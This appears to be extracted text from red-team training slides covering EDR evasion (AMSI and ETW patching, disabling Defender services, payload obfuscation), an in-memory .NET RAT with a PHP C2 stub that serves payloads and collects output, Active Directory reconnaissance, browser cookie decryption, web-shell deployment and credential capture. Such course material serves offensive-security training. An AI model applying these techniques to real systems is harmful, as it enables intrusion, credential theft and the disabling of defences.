malicious activities:
▪ AMSI
▪ ETW & ETW Ti
▪ “Machine Learning”
▪ Sandboxes
▪ Kernel callbacks
▪ User Mode Hooking
▪ Killing the EDR
▪ Alternative to get your code running
240
Defeating AMSI
What is AMSI
AMSI is according to Microsoft:
The Windows Antimalware Scan Interface (AMSI) is a versatile interface standard that allows your
applications and services to integrate with any antimalware product that's present on a machine. AMSI
provides enhanced malware protection for your end-users and their data, applications, and workloads.
241
Defeating AMSI
DEFEATING AMSI using obfuscation
242
Defeating AMSI
DEFEATING AMSI by patching AMSISCANBUFFER API
243
Defeating AMSI
DEFEATING AMSI by patching AMSISCANBUFFER API USING A
SINGLE BYTE APPROACH
244
Defeating AMSI
DEFEATING AMSI By patching AMSISCANBUFFER API USING A
SINGLE BYTE APPROACH
amsi.dll export address table
245
Defeating AMSI
DEFEATING AMSI By patching AMSISCANBUFFER API USING A
SINGLE BYTE APPROACH
246
Defeating AMSI
DEFEATING AMSI by patching AMSISCANBUFFER API using a
single byte approach
rbx is pointing to the first argument passed to the function
the AMSICONTEXT structure first bytes are the magic bytes AKA AMSI
247
Defeating AMSI
DEFEATING AMSI by patching AMSISCANBUFFER API using a
single byte approach
Simply put, the function validate the AMSI context provided it is valid
As an attacker we can patch the jump condition to always fail the check
248
Defeating AMSI
DEFEATING AMSI by patching AMSISCANBUFFER API using a
single byte approach
Notice the use of GetProcAddress, LoadLibrary and VirtualProtect, EDR may monitor
these calls
249
Defeating ETW
WHAT IS ETW
According to Microsoft ETW is:
Event Tracing for Windows (ETW) provides a mechanism to trace and log events that are raised by user-
mode applications and kernel-mode drivers. ETW is implemented in the Windows operating system and
provides developers a fast, reliable, and versatile set of event tracing features.
source Microsoft
250
Defeating ETW
Patching user mode API for ETW
Like AMSI, the classic patch relies on patching the EtwEventWrite API ntdll.dll
251
Defeating ETW
PATCH ETWEVENTWRITE API
252
Defeating ETW
WHAT IS ETW
Nt* APIs are usually the lowest functions before a syscall will be issued
253
Defeating ETW
PATCHING Nttraceevent
NtTraceEvent is hiding all over the place
254
Defeating ETW
PATCHING Nttraceevent
Patching the NtTraceEvent function and make it simply return without actually
executing the syscall
255
Defeating ETW
ETW PROVIDERS
ETW also relies on providers with administrative right; you can free most of the
providers
https://github.com/jthuraisamy/TelemetrySourcerer
256
Defeating ETW
ETW PROVIDERS
Under the hood, the stop session is getting a handle on the ETW provider and call the
EnableTraceEx2 API using the EVENT_CONTROL_CODE_DISABLE_PROVIDER flag
257
Defeating ETW
The EVIL TWIN
User mode is nice but the kernel also
have some ETW
These can be found in ntoskrnl.exe
Let me introduce the:
ETW Thread Intelligence
258
Defeating ETW
The EVIL TWIN
You can view the event
monitored using EtwExplorer
https://github.com/zodiacon/EtwExplorer
259
Defeating ETW
The EVIL TWIN
NtReadVirtualMemory kernel
implementation eventually calls
MiReadWriteVirtualMemory which is
calling ETWTiLogReadWriteVm
You cannot patch this kind of call from
user mode, sadly
But, if you get kernel code exécution,
same concept can be applied
260
Defeating “Machine Learning”
As an attacker do we have options?
A classic example of dump the SAM & SYSTEM
261
Defeating “Machine Learning”
As an attacker do we have options?
262
Defeating “Machine Learning”
As an attacker do we have options?
263
Defeating “Machine Learning”
As an attacker do we have options?
264
Defeating “Machine Learning”
Remotely executing code?
DCERPC is quite powerful, you can achieve pretty much everything over RPC
265
Defeating “Machine Learning”
Remotely executing code?
https://winprotocoldoc.blob.core.windows.net/productionwindowsarchives/MS-RRP/%5bMS-RRP%5d.pdf
266
Defeating “Machine Learning”
CHAINING VARIOUS TRICK
Use the AppDomain trick to load your payload within Update.exe - kindly signed by
Microsoft
267
Defeating “Machine Learning”
CHAINING VARIOUS TRICK
268
Defeating “Machine Learning”
CHAINING VARIOUS TRICK
“Trusted” binary calling back a “shady” domain and connecting to service like kerberos
and SMB
How can we break the chain?
269
Defeating “Machine Learning”
CHAINING VARIOUS TRICK
270
Defeating “Machine Learning”
CHAINING VARIOUS TRICK
https://github.com/Mr-Un1k0d3r/ATP-PowerShell-Scripts
271
Defeating “Machine Learning”
CHAINING VARIOUS TRICK
272
Defeating “Machine Learning”
CHAINING VARIOUS TRICK
We now have a bring your own Microsoft signed scripts on the target.
273
Defeating “Sandboxing”
Assess if the interaction is human, not if it’s automated
Your phishing payload was executed by a user: you would expect some interaction on the system
Monitor foreground window activity
274
Defeating “Sandboxing”
Assess if the interaction is human, not if it’s automated
275
Defeating “Sandboxing”
HIDE YOUR PHISHING PAYLOAD FROM CRAWLER
276
Defeating “User Mode Hooking”
REMOVE IT OR HIDE FROM IT?
kernel32!OpenProcess
kernelbase!OpenProcess
ntdll!NtOpenProcess
syscall 0x26
277
Defeating “User Mode Hooking”
REMOVE IT OR HIDE FROM IT?
https://github.com/Mr-Un1k0d3r/EDRs
278
Defeating “User Mode Hooking”
REMOVE IT OR HIDE FROM IT?
279
Defeating “User Mode Hooking”
REMOVE IT OR HIDE FROM IT?
You can also completely reimplement the syscall on your own like syswhisper.
https://github.com/klezVirus/SysWhispers3
280
Defeating “User Mode Hooking”
REMOVE IT OR HIDE FROM IT?
281
Defeating “User Mode Hooking”
REMOVE IT OR HIDE FROM IT?
282
Defeating “User Mode Hooking”
REMOVE IT OR HIDE FROM IT?
You can also map the dll from disk and update the PEB Ldr Module list to point to
the freshly mapped file using CreateFileMapping and MapViewOfFile APIs
Certain EDR will trigger an alert based on the address used for the mapped file and the
module stomping
283
Defeating “User Mode Hooking”
IAT HooKS?
284
Defeating “User Mode Hooking”
IAT HooKS?
285
Defeating “User Mode Hooking”
IAT HooKS?
286
Defeating “User Mode Hooking”
IAT HooKS?
287
Defeating kernel callback
KERNEL callback?
288
Defeating kernel callback
KERNEL callback?
There is also other minifilters that can be registered. Telemetry Sourcerer can be
used to list them
https://github.com/jthuraisamy/TelemetrySourcerer
In this case a popular edrs had callback registered
for pretty much everything
289
Defeating kernel callback
KERNEL callback?
290
Defeating kernel callback
KERNEL callback?
WARNING
Mailslot message cannot be bigger
than 424 bytes
But EDRs usually do not monitor
the APIs
291
Attacking the EDR Core Values
Instead of bypassing it, why not destroying it?
At the end of the day EDRs are running software on the endpoint you have access
to.
https://github.com/Mr-Un1k0d3r/EDRs/blob/main/elevate_to_system_or_trustedinsaller.c
292
Attacking the EDR Core Values
Instead of bypassing it, why not destroying it?
You can impersonate the TrustedInstaller privilege, but duplicating the service
token and get the group
293
Attacking the EDR Core Values
Instead of bypassing it, why not destroying it?
With the TrustedInstaller privilege you can tamper the registry key associated with
the services
294
Attacking the EDR Core Values
Instead of bypassing it, why not destroying it?
Remove the ImagePath and set Start to 0x4 for the following services:
▪ Sense
▪ WdBoot
▪ WinDefend
▪ WdNisDrv
▪ WdNisSvc
295
Attacking the EDR Core Values
Instead of bypassing it, why not destroying it?
296
Attacking the EDR Core Values
Instead of bypassing it, why not destroying it?
297
Attacking the EDR Core Values
Instead of bypassing it, why not destroying it?
298
Attacking the EDR Core Values
Instead of bypassing it, why not destroying it?
299
Attacking the EDR Core Values
Instead of bypassing it, why not destroying it?
Quick summary:
▪ Create a local administrative account to enforce the local policy
▪ Block the EDR network range
▪ Disable the service
▪ Reboot
▪ Enjoy
300
Attacking the EDR Core Values
Instead of bypassing it, why not destroying it?
Drivers tend to be poorly designed; there are vulnerabilities all over the place
301
Attacking the EDR Core Values
Instead of bypassing it, why not destroying it?
Virtual to physical memory mapped in the kernel; they cannot be paged out
302
Attacking the EDR Core Values
Instead of bypassing it, why not destroying it?
303
Attacking the EDR Core Values
Instead of bypassing it, why not destroying it?
EDRSandBlast
https://github.com/wavestone-cdt/EDRSandblast
304
Alternative to Evade EDRs
Do we need shellcode?
305
Alternative to Evade EDRs
Do we need shellcode?
I personally use a C# implant that execute in memory .Net exe; Each command is a
.Net module
306
Alternative to Evade EDRs
Do we need shellcode?
You may want to patch AMSI and ETW since .Load will end up loading AMSI on
your byte[] assembly
307
Alternative to Evade EDRs
Do we need shellcode?
308
Alternative to Evade EDRs
WHAT you need to learn about?
309
Alternative to Evade EDRs
WHAT you need to learn about?
310
Alternative to Evade EDRs
WHAT you need to learn about?
▪ https://github.com/rad9800/hwbp4mw
▪ https://github.com/rad9800/misc/blob/main/NtTraceEvent.c
311
Payload Crafting
This is a quick overview of some of the tricks that can be used to create
payloads
Shameless plug: if you are curious in the coding aspect of a red team, I
highly recommend registering to my patreon
https://mr.un1k0d3r.online/portal/
https://patreon.com/MrUn1k0d3r
312
Payload Crafting
Keep in mind that EDR may not hook the same APIs.
You can validate which one are hooked using the hook_finder64
https://github.com/Mr-Un1k0d3r/EDRs/blob/main/hook_finder64.c
313
Payload Crafting
Most Nt* API will require an OBJECT_ATTRIBUTE that needs to be
initialized manually in your code
314
Payload Crafting
I personally prefer patching the Nt* instead of using direct syscall,
because of the lack of documentation, but luckily, there are a lot of
cool projects such as syswhisper
https://github.com/jthuraisamy/SysWhispers
315
Payload Crafting
PROS:
▪ Pretty efficient usermode hook bypass
▪ No need to change memory permission
CONS:
▪ Lack of documentation
▪ Hard to code
316
Payload Crafting
Your stage 0 should be as simple as possible and used as recon before
you drop your full RAT
317
Payload Crafting
Source code: https://mr.un1k0d3r.online/training/source/http_c2.cs
318
Payload Crafting
Creating your network query method
319
Payload Crafting
Getting the data:
▪ Send a request and get the response as the
data to process
▪ Execute the data received as .Net code
320
Payload Crafting
Assembly.Loadcan receive a string,
and load the exe from it
321
Payload Crafting
The main part of the code
322
Payload Crafting
Only thing left is to host your recon .net code on the remote server.
<?php
if(strpos($_SERVER["HTTP_USER_AGENT"], "ringzer0") !== false) {
$data = file_get_contents("php://input");
if(!empty($data)) {
// save output of a command to a file
file_put_contents("/tmp/output.c2", $data, FILE_APPEND);
} else {
// deliver payload
echo base64_encode(file_get_contents("bin.exe"));
}
}
?>
324
Payload Crafting
You now have a fully functional RAT that execute
assembly in memory
325
Payload Crafting
Your payload will be inspected by EDR & AV and other security product
Obfuscation is designed to get you landed where you want to; it does not defeat
runtime analysis
Classic techniques:
327
Payload Crafting
With that in mind, lets think of how we can represent our shellcode
328
Payload Crafting
You will end up with a list of word, tied to an index
This will produce decent entropy due to the use of words and none of the
« known » patterns are present in the code
329
Payload Crafting
All we have to do is map the word to the index to retrieve the original
byte
Array.IndexOf(table, needle);
330
Payload Crafting
331
Payload Crafting
This will produce a final executable of 3 to 4 Mb; which is also nice,
since some engine will not even bother analyzing bigger file
Since it was written in .Net, we can pass this file to our .Net stage 0
which is accepting arbitrary assembly to be loaded through
Assembly.Load()
332
Payload Crafting
https://github.com/Mr-Un1k0d3r/MiniDump
https://github.com/Mr-Un1k0d3r/MiniDump/blob/master/dump.c
VS
https://github.com/Mr-Un1k0d3r/MiniDump/blob/master/safe-against-edr-
minidump64.c
333
Payload Crafting
Revisiting your classic: Msbuild.exe
334
Payload Crafting
Detection is “easy”, since the C# is in clear
335
15 minutes break
Internal Reconnaissance
▪ Process listing should be the first command you run
337
Internal Reconnaissance
In addition to process listing, dumping services may be useful
Cobalt Strike command ps can be used
More information can be retrieved using WMIC
338
Internal Reconnaissance
Remember our simple stage 0 RAT?
Listing process in C#
339
Internal Reconnaissance
340
Internal Reconnaissance
Services listing will help you confirm if there are
security solutions running on the host
It may also reveal custom services
341
Internal Reconnaissance
If you enjoy reverse engineering, you can try to reverse the service and
find potential vulnerabilities or embedded credentials
342
Internal Reconnaissance
Quick reverse engineering tips:
If the binary file is a .NET file, use dnSpy:
▪ https://github.com/0xd4d/dnSpy/releases
If it is a native executable:
▪ xdbg64 https://x64dbg.com
▪ IDA (freeware or PRO if you have a license) https://www.hex-
rays.com/products/ida/support/download_freeware.shtml
▪ Ghidra https://www.nsa.gov/resources/everyone/ghidra/
343
Exercise
Find the password
in the custom
application
Internal Reconnaissance
Challenge URL: https://mr.un1k0d3r.online/training/source/Corpo.exe
345
Internal Reconnaissance
static VS runtime debugging
346
Internal Reconnaissance
dnSpy live debugging
347
Internal Reconnaissance
Once the call to DecryptStringFromBytes_Aes is completed, simply
inspect the variable in the debugger
348
Internal
Reconnaissance
▪ You have your shell and you are ready to discover what
is going on in the network
▪ Powershell https://github.com/Mr-
Un1k0d3r/RedTeamPowershellScripts/blob/master/scri
pts/Utility.ps1
▪ CSharp https://github.com/Mr-
Un1k0d3r/RedTeamCSharpScripts/blob/master/ldaputi
lity.exe
349
Internal Reconnaissance
The idea is to make sure you have the biggest sample as possible, in
case you loose access
350
Internal Reconnaissance
You want to make sure to have emails and users to be able to perform:
▪ Password spraying against a bigger set of users
▪ Potentially target more employees, in case you lose access to the network
When dumping users, try to include the description; that may help you target
valuable assets
Password spraying should be performed against a small group of users that are
valuable
351
Internal Reconnaissance
Usually if you gained access through a phishing campaign, your shell is
most likely running on a workstation
Capturing keystrokes and screenshots may help you ensure the security
team is not interacting with the victim
Screenshot may also reveal applications used by the user and sensitive
information
Keystrokes may also provide password for free
352
Internal Reconnaissance
Workstation may also provide valuable information:
Dumping the browser homepage usually points to the intranet
https://github.com/Mr-
Un1k0d3r/RedTeamPowershellScripts/blob/master/scripts/Get-
BrowserHomepage.ps1
Bookmarks may reveal internal portal that can be used to perform lateral
movement
https://github.com/Mr-
Un1k0d3r/RedTeamPowershellScripts/blob/master/scripts/Get-
IEBookmarks.ps1
353
Internal Reconnaissance
A Socks proxy can be used to connect to the intranet and gather
information about their internally exposed services
They may have a Citrix portal internally that may allow you to connect
with the user you compromised; once you launch the Citrix application,
you may find a Citrix escape and compromise a server
Extra point for Citrix: the server is usually less protected than the
endpoints
354
Internal Reconnaissance
The most typical Citrix escape
relies on the open or save
window. If you have office
software published, you can
escape the “sandbox”
Right click to create a file
Then right click on the file and
rename it with a “.bat”
extension
355
Internal Reconnaissance
Right click again to edit the file Add the command you want
to run
mysite\charles.hamilton
356
Internal Reconnaissance
Citrix in the wild
357
Internal Reconnaissance
If you can browse the
Internet through a link in
the Citrix application, you
have access to a shell
using the “file://” url
handler
358
Internal Reconnaissance
Internal Citrix are also great, because you can leverage internal
password spraying to access the Internal Citrix and compromise
internal servers
359
Internal Reconnaissance
Quick note on Citrix:
Citrix exposes a shared folder with all the users’ profiles. If you have
admin access or the permission are misconfigured, you can update the
data pushed on the Citrix client
360
Internal Reconnaissance
Other commands of interest that may help perform reconnaissance at the network
level:
▪ route print: Discover other networks
▪ nslookup DOMAIN: Discover server’s range. Nslookup on the domain will return
DCs
▪ nltest /dclist:DOMAIN: List DCs including RODC and PDC. PDC may be in a more
critical subnet
▪ netstat –an | netstat –a: List currently established connection
▪ ipconfig /all: Gather information about the networking interface. You may find a
VPN tunnel already established to their sensitive network
361
Exercise
Analyse the output of
the network recon
commands
Internal Reconnaissance
nslookup %USERDOMAIN% will return all the DCs
Or using C#:
▪ Dns.GetHostByName
▪ Dns.Resolve
363
Internal Reconnaissance
Other commands of interest that may help perform reconnaissance
regarding the network:
NOTE THAT THESE ARE NOT EXTREMELY STEALTH BUT PROVIDE GOOD
VISIBILITY
364
Internal Reconnaissance
You can implement most of the features as standalone utility:
▪ Get user LDAP (&(objectCategory=user)
365
Internal Reconnaissance
BloodHound utility provides a lot of Same goes with PowerView, there are
options. make sure you carefully pick the tons of commands that can be extremely
one that will remain as stealth as possible useful, but extremely noisy
based on your prior understanding of the
network
366
Internal Reconnaissance
Querying sessions on the remote system:
▪ You query the remote system
for(computer) {
query computer
}
367
Internal Reconnaissance
PowerView can be used to retrieve list of local groups and users that
possess local administrative privileges
This command will retrieve the list of computers and then connect to
each of them asking for groups. This relies on the
NetLocalGroupGetMembers API
368
Internal Reconnaissance
User granted with local administrator privileges Group granting local administrative privileges
369
Internal Reconnaissance
The previous command will generate the output and can easily be used
to search through it offline. It doesn’t drop file on the target system
370
Internal Reconnaissance
The same concept can be used to find hosts where the current users
are granted with local administrative privileges
Find-LocalAdminAccess
Meaning that every time you want to hunt a user, you will perform
the same action
371
Internal
Reconnaissance
FOR EXAMPLE: POWERVIEW CAN BE USED TO
LIST ACTIVE SESSIONS
372
Internal Reconnaissance
PowerView offers
several cmdlets
that may be quite
useful
SharpView offers
the same kind of
features
373
Internal Reconnaissance
BloodHound offers the same kind of features, and the output (JSON)
can be linked in a neo4js system to perform query efficiently
The downside is that the json is generated on the client and it will
DROP FILES on the targets
374
Internal Reconnaissance
Once you have Domain Admins credentials, you can also hunt user’s
computer
Let say the intranet says that the owner of the SuperDatabase is
managed by John Smith
You can search John Smith samaccountname using:
https://github.com/Mr-
Un1k0d3r/RedTeamPowershellScripts/blob/master/scripts/Search-
FullNameToSamAccount.ps1
375
Internal Reconnaissance
Once you have the samaccountname, you can query logon events across DCs and
find his workstation:
https://github.com/Mr-
Un1k0d3r/RedTeamPowershellScripts/blob/master/scripts/Search-
EventForUser.ps1
You can search across DCs using –FindDC True or force a single host using –
ComputerName name
.mysite.com
.mysite.com
.mysite.com
-calon.mysite.com
.mysite.com
.mysite.com
.mysite.com
.mysite.com
.mysite.com
.mysite.com
.mysite.com
.mysite.com
376
Internal Reconnaissance
Hunting for easy targets
Printers with default credentials
These printers may also have LDAP configured and expose a more privileged
account
377
Internal Reconnaissance
Simply change the LDAP server and wait for the credentials to be sent
in clear
378
Exercise
Dump user
information
Internal Reconnaissance
Managed By can grant local admin without a group
(objectCategory=user)(objectClass=user)(distinguishedName=%manage
dBy%)
380
Internal Reconnaissance
LAPS password
(&(objectClass=computer))
ms-mcs-AdmPwd
382
Internal Reconnaissance
Classic password settings attributes
(&(objectClass=msDS-PasswordSettings))
name,distinguishedName,msDS-MinimumPasswordLength,msDS-
PasswordHistoryLength,msDS-PasswordComplexityEnabled,msDS-
PasswordReversibleEncryptionEnabled,msDS-LockoutThreshold,msDS-
PasswordSettingsPrecedence
383
Internal Reconnaissance
Classic SPN query
(&(objectcategory=computer)(servicePrincipalName=*))
384
Internal Reconnaissance
Nothing useful yet?
Invoke-ShareFinder
Invoke-FileFinder
Still nothing? Check domain trust: you These domains may expose
may have bidirectional trust interesting computers.
between your domain and Time to do the
other domains reconnaissance again on
the other domain
386
Internal Reconnaissance
Still out of luck?
Hunt for potentially vulnerable OS. Active Directory does have an
operation system attribute
The C# utility can dump the information about all of the computers
https://github.com/Mr-Un1k0d3r/RedTeamCSharpScripts
387
Internal Reconnaissance
388
Internal Reconnaissance
LDAP is full of surprise LdapAdmin can
help you discover attribute you never
heard of before
http://www.ldapadmin.org/down
load/ldapadmin.html
389
Internal Reconnaissance
LDAP objects permission is stored in the nTSecurityDescriptor
using the SDDL format
390
Internal Reconnaissance
391
Internal Reconnaissance
https://github.com/Mr-
Un1k0d3r/ADHuntTool/
392
Internal Reconnaissance
Misconfigured object
393
Internal Reconnaissance
We previously stated that, like your toolset, make sure you understand
how the exploit works to minimize the risk of crashing the remote
target
394
Internal Reconnaissance
Not getting anywhere?
A good start: You can try to run light scan to look for portal, usually ports
80,443,8080 and 8443
▪ If you are running the scan remotely using nmap, make sure you are using
the –sT option (Full TCP connect option) to blend in as legitimate traffic
▪ Full TCP connection will look less suspicious than a syn scan
▪ Always make sure you remove the ping –Pn once again or your ping may be
detected as a ping sweep
▪ A typical nmap scan performed during a red team:
nmap –sT –Pn –vvvv –p80,443,8080,8443 –oA output 10.0.0.0/24
395
Internal Reconnaissance
I highly recommend writing a small port scanner using C# or C
You can simply connect (full TCP connect by default) to the remote
host, using socket to confirm something is alive on the other side
396
Internal Reconnaissance
Same technique used during the external reconnaissance can be used
to fingerprint the host using C# equivalent of aquatone through your
shell
397
Internal Reconnaissance
The reason why port 8080 and 8443 are part of the scan?
Management console
Several other ports can be used, but scan is bad when it come to red team. You may
be able to identify server purpose by looking at the description or the name in
the Active Directory
398
Internal Reconnaissance
There are several known portals that run on port 8080
It is not rare that you will find development environment running Jboss / Tomcat and the rest of the
family without enforcing authentication
Even if the systems are considered to be development, they may be joined to the domain exposing
domain credentials
They can be used to execute code
399
Internal Reconnaissance
A war file is pretty much a zip with a specific structure
Folder structure
400
Internal Reconnaissance
▪ Once it is deployed on the server, you will gain code execution within
the context of the application
▪ Usually, a web shell is the first stage, and it can be used to upgrade to
a full RAT
https://ringzer0ctf.com/static/cmd.war
401
Internal Reconnaissance
Tomcat, Jenkins and Jboss over endpoints that can be used to run
arbitrary code. You can hunt for these using the following tools
Powershell
https://github.com/rvrsh3ll/Misc-Powershell-Scripts/blob/master/Find-
Fruit.ps1
C#
https://github.com/Mr-
Un1k0d3r/RedTeamCSharpScripts/blob/master/webhunter.cs
402
Internal Reconnaissance
Jenkins build artifact may contains juicy information
403
Internal Reconnaissance
Typical artifact output file
404
Internal Reconnaissance
In this case, an automation account was used to login into the
production service using Okta (MFA solution)
405
Internal Reconnaissance
Several other products may have such Never seen the solution before? Google
featured. Don’t hesitate to play with may know the default password.
them if you can access them with default
credentials.
406
Internal Reconnaissance
I did find an aircraft controller console’s default credentials in their
online documentation
407
Internal Reconnaissance
Several products expose services that accept Java serialized objects
Such features allow the execution of arbitrary code on the remote
system
Java RMI (Remote Method Invocation) is acting like an RPC endpoint
but lack of authentication sometimes
Ysoserial can be used to craft the serialized object needed
https://github.com/frohoff/ysoserial
408
Internal Reconnaissance
You can generate payload using the following command:
409
Internal Reconnaissance
Note that .NET applications suffer from the same issue. Ysoserial also
has a tool to create serialized objects in .NET
https://github.com/pwntester/ysoserial.net
410
Internal Reconnaissance
Do not hesitate to use to Google to validate if one of the portals you
found is vulnerable
Deserialization bugs are found in a lot of products, including:
▪ Vmware
▪ CISCO
▪ Jenkins
▪ HP products
▪ Apache modules
▪…
411
Internal Reconnaissance
412
The victim is connected on VPN network that is
valuable
413
You absolutely need to compromise the MFA?
In the case of RSA token, you can set an emergency pin for
a specific user once you gain access to the RSA console
Internal How can I gain access to the RSA console itself?
Reconnaissance
You managed to gain access to a system where an admin
is currently working in the RSA server
414
Internal Reconnaissance
Each browser stores cookies in a slightly different way.
For example, Chrome stores the cookies in a Sqlite database and
encrypts them using DPAPI (Data Protection Application Programming
Interface)
The data can be decrypted using the following API
System.Security.Cryptography.ProtectedData.Unprotect(
data,
null,
System.Security.Cryptography.DataProtectionScope.CurrentUser);
415
Internal Reconnaissance
Since Chrome is using the CurrentUser attribute, make sure that you
are running your tool within the same user context
https://github.com/Mr-
Un1k0d3r/RedTeamCSharpScripts/blob/master/cookies-monster.cs
416
Internal Reconnaissance
WebKit use a different approach. A master key is encrypted in the
“Local State” file within the %appdata%. The key is encrypted using the
same technique.
Once the key is decrypted you get the master key to decrypt the
cookies (AES GCM mode)
417
Internal Reconnaissance
418
Internal Reconnaissance
419
Internal Reconnaissance
Once you got the cookie, you can socks Without knowning a single password or
proxy your traffic and connect to the the MFA token, you are in
remote service by adding the cookie
manually to your requests
420
Internal Reconnaissance
Dump browser memory and hunt for password in POST data
421
Internal Reconnaissance
20 minutes after I entered the credentials, the request was still living in
my process memory
422
Internal Reconnaissance
You can also use lazagne do dump every possible password
https://github.com/AlessandroZ/LaZagne
Or use browse pivot to inject yourself into the browser and gain the
same level of access; this is built in Cobalt Strike
423
Internal Reconnaissance
List of software supported by lazagne
There is a lot
424
Internal Reconnaissance
You may find cached credentials for the domain or
interesting management console
425
Internal reconnaissance is usually the most
exhausting part of a red team
426
Internal Reconnaissance
Never underestimate Active Directory misconfiguration or abuse
such as:
▪ Nested groups
▪ Managed By
▪ Delegated Account
▪ User account with SPN
▪ NetBIOS
▪ ADCS
427
Internal Reconnaissance
▪ RPC that allows remote connection
▪ Excessive administrative privileges (user local admin)
▪ Insecure network share (Citrix profile etc…)
▪ Service accounts with weak passwords
▪ Never expiring passwords
▪ Legacy Systems
428
Internal Reconnaissance
Most of the Active Directory out there were created in the early 2000,
there is a bunch of legacy and backward compatibility settings in place
▪ NetNTLMv1 downgrade
▪ Password stored in using a reversible algorithm
▪ SPN accounts
▪ GPPs
▪ LDAP attributes
429
Internal Reconnaissance
During a red team you can use pretty much the same toolset just in a
different way.
430
Internal Reconnaissance
Classic way to run it
cmd.exe /c pingcastle.exe
432
Internal Reconnaissance
Side note: pingcastle is super cool to collect Active Directory info
433
Internal Reconnaissance
It include comprehensive data for each control
434
Internal Reconnaissance
Side note on unconstrained delegations
▪ And the system associated with the account need to be long gone
435
Internal Reconnaissance
436
15 minutes
break
437
Lateral Movements
Capturing credentials
Possessing access to the target network exposes several ways to get
credentials
438
Lateral Movements
• NetBIOS is an acronym for Network Basic Input/Output System. It
provides services related to the session layer of the OSI model
allowing applications on separate computers to communicate over
a local area network
• In a Windows environment, such communication is usually
authenticated
• The target system may broadcast certain requests that the attacker
can respond to and ask for authentication. If the victim responds, the
hash will be captured
439
The whole ecosystem consists of several
protocols, such as NBNS and LLMNR. The
authentication can be captured on each of
them
440
Lateral Movements
When relaying the hash is not an option, the hash can be cracked
offline
NetNTLMv2 hashes can be cracked in a fairly reasonable (less than a
day) amount of time for an average password
441
You can capture hashes on the network using
Responder
https://github.com/SpiderLabs/Responder
Lateral
Movements You can also run it via Cobalt Strike using the
powershell or CSharp equivalent
https://github.com/Kevin-Robertson/Inveigh
https://github.com/Kevin-
Robertson/InveighZero
Lateral Movements
NetBIOS spoofing can be https://github.com/fox- Using IPv6 may evade the detection
performed over IPv6 it/mitm6 in place, since most networks only
monitor the IPv4 stack, assuming that
IPv6 is not configured nor monitored
443
Lateral Movements
HTTPS internal: no need for that, right?
It is pretty common to see corporate intranet using Active Directory to
authenticate users
Using the NTLM Negotiate, the browser can transparently authenticate
the user against the portal
444
Lateral Movements
HTTPS internal: no need for that, right?
In this case, an ARP spoofing attack may allow you to reroute the traffic
via your host; since you are the gateway, you will see all the victim
traffic
You may be able to hunt for:
▪ Cleartext passwords
▪ Authentication exchange (NTLM Negotiate can be cracked like NetNTLMv2
hashes)
▪ Sensitive information
445
Lateral Movements
Typical gateway poisoning
446
Lateral Movements
• You managed to gain access to a domain user account, what’s next?
• You can remotely query a DC and dump computers, users and SPNs
• Remotely, it can be performed using RPC or LDAP utility
447
Lateral Movements
Ldapsearch on Linux can be used to query (&(objectClass=user)) on the
domain
448
Exercise
Identify how
GetADUsers.py is
gathering the
information
Lateral Movements
450
Lateral Movements
451
Lateral Movements
Guess which process is running the LDAP instance?
452
Lateral Movements
Our friend lsass.exe
There is not much EDR LDAP monitor yet, but knowing that it’s running
as part of lsass, they could easily hook some of the call and capture
LDAP queries
453
Lateral Movements
Active Directory contains a lot of attributes; legacy application used to
store password in clear in the userPassword field
https://github.com/Mr-Un1k0d3r/RedTeamCSharpScripts/blob/master/ldaputility.exe
454
Lateral Movements
The utility will produce the
following output for a specific
user:
455
Lateral Movements
Speaking of LDAP another cool one is ADCS
https://posts.specterops.io/certified-pre-owned-
d95910965cd2
456
Lateral Movements
Certificate misconfiguration can be abused to obtain
privileged access
https://github.com/GhostPack/Certify
457
Lateral Movements
458
Lateral Movements
459
Lateral Movements
Speaking of LDAP and ADCS what about RPC? Or a mix of all of
these together?
460
Lateral Movements
RPC you said?
https://github.com/Wh04m1001/DFSCoerce
461
Lateral Movements
There is a ton of them available
https://docs.microsoft.com/en-us/openspecs/protocols/ms-
protocolslp/9a3ae8a2-02e5-4d05-874a-b3551405d8f9
462
Lateral Movements
I gathered a list of them that you can find in the portal
463
Lateral Movements
464
Lateral Movements
Have fun searching through all Microsoft PDFs
465
Lateral Movements
Reading Microsoft documentation is the key. ADCS Certify was
cool, but what about an actual CVE. CVE-2022-26923 abuse of
a bug in Active Directory and The certificate request
Long story short, user have UPN and computer have SPN
466
Lateral Movements
Create an account by default, you are allowed to create 10 of
them
467
Lateral Movements
Using ADCS to privesc from virtual and network service accounts to local
system
https://sensepost.com/blog/2022/certpotato-using-adcs-to-privesc-
from-virtual-and-network-service-accounts-to-local-system/
468
Lateral Movements
Main takeaway here is
BE CURIOUS
469
Lateral Movements
Found a host that has VMs running, you can extract files for
the image
https://github.com/CCob/Volumiser
470
Lateral Movements
Once you extract a list of users, you can perform password spraying to
gather more accounts
You can perform authentication remotely using smb as the target:
▪ The easy way
471
Lateral Movements
There are scripts available:
472
Lateral Movements
Credentials can also be found in exposed shares including the SYSVOL folder located on domain
controllers
The Groups.xml file can be used to set local administrator on remote system via GPP
The key is public and the password can be retrieved. You can automate the process using utility such
as https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Get-
GPPPassword.ps1
Microsoft mitigated this one by removing the feature. You may still find an old one. LAPS is also
super popular now to avoid reusing local administrator password
473
Lateral Movements
The kerberoasting attack takes advantage of how service accounts leverage
Kerberos authentication with Service Principal Names (SPNs). Any users on the
domain can request a service ticket (TGS) for services accounts that have the SPN
configured
